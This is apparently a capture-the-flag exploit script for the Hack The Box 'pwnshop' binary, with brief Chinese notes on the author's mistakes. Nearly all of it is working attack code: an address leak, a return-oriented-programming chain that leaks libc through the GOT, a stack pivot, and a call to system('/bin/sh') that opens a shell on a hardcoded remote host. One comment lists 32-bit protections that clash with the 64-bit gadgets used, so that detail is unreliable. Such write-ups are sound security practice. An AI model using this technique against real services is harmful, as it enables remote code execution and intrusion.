HTB pwnshop
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# This exploit template was generated via:
# $ pwn template --host 167.99.88.212 --port 31369 space
from pwn import *
from pwnlib import libcdb
# Set up pwntools for the correct architecture
exe = context.binary = ELF('/root/hackthebox/tracker/pwnshop')
# Many built-in settings can be controlled on the command-line and show up
# in "args". For example, to dump all data sent/received, and disable ASLR
# for all created processes...
# ./exploit.py DEBUG NOASLR
# ./exploit.py GDB HOST=example.com PORT=4141
host = args.HOST or '46.101.23.188'
port = int(args.PORT or 30327)
def local(argv=[], *a, **kw):
'''Execute the target binary locally'''
if args.GDB:
return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
else:
return process([exe.path] + argv, *a, **kw)
def remote(argv=[], *a, **kw):
'''Connect to the process on the remote host'''
io = connect(host, port)
if args.GDB:
gdb.attach(io, gdbscript=gdbscript)
return io
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.LOCAL:
return local(argv, *a, **kw)
else:
return remote(argv, *a, **kw)
def leakdataaddr():
io.sendlineafter("> ","2")
io.sendlineafter("sell? ",b'zzq')
io.sendafter("it? ",b'11111111')
ret = io.recvline()
#what? 11111111
start=14
#%s?
end=ret.index(b'?',start)
addr=ret[start:end]
addr_int=int.from_bytes( addr, byteorder='little')
data_segment=addr_int-0xc0
print(hex(data_segment))
return data_segment
def leakputsaddr():
io.sendlineafter("> ","1")
payload = b'a'*0x28
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(loop_addr)
payload += p64(sub_rsp_ret)
io.sendafter("details: ",payload)
ret=io.recvline()
ret=ret[0:-1]
puts_addr=int.from_bytes( ret, byteorder='little', signed=False)
print(hex(puts_addr))
return puts_addr
def getshell():
io.sendlineafter("> ","1")
payload = b'a'*0x28
payload += p64(pop_rdi_ret)
payload += p64(str_binsh_addr)
payload += p64(system_addr)
payload += b'a'*0x8
payload += p64(sub_rsp_ret)
io.sendlineafter("details: ",payload)
sleep(1)
io.interactive()
print('aa')
# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak main
continue
'''.format(**locals())
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments
io = start()
data_addr=leakdataaddr()
entry_addr=data_addr-0x4000
exe.address=entry_addr
main_addr = 0x10A0+entry_addr
buy_addr = 0x132A+entry_addr
loop_addr = 0x10BD+entry_addr
#sub rsp, 0x28 ; ret
sub_rsp_ret=0x1219 + entry_addr
pop_rdi_ret=0x13c3 + entry_addr
puts_plt=exe.plt['puts']
puts_got=exe.got['puts']
puts_addr=leakputsaddr()
puts_offset=0x6f6a0
libc_addr=puts_addr-puts_offset
system_addr = 0x453a0 + libc_addr
str_binsh_addr= 0x18ce17 + libc_addr
getshell()
这题难度没那么高，却暴露知识盲点
只有buy()函数 8bytes ret地址的overwrite，一个单位地址，不能直接在stack上写rop
1.ROPgadget ，用--only'sub|ret' 找不到 sub rsp,xxx gadgets，不加 --only，默认返回所以的gadgets。
2.开始想用ret2dlresolve，把dlresolve写进数据段，后面发现payload有0x50，代码限制只能写0x40。
3.还是sendline()月send造成的困惑，leakputsaddr（）多写一个\n，造成getshell()接收字节出错。
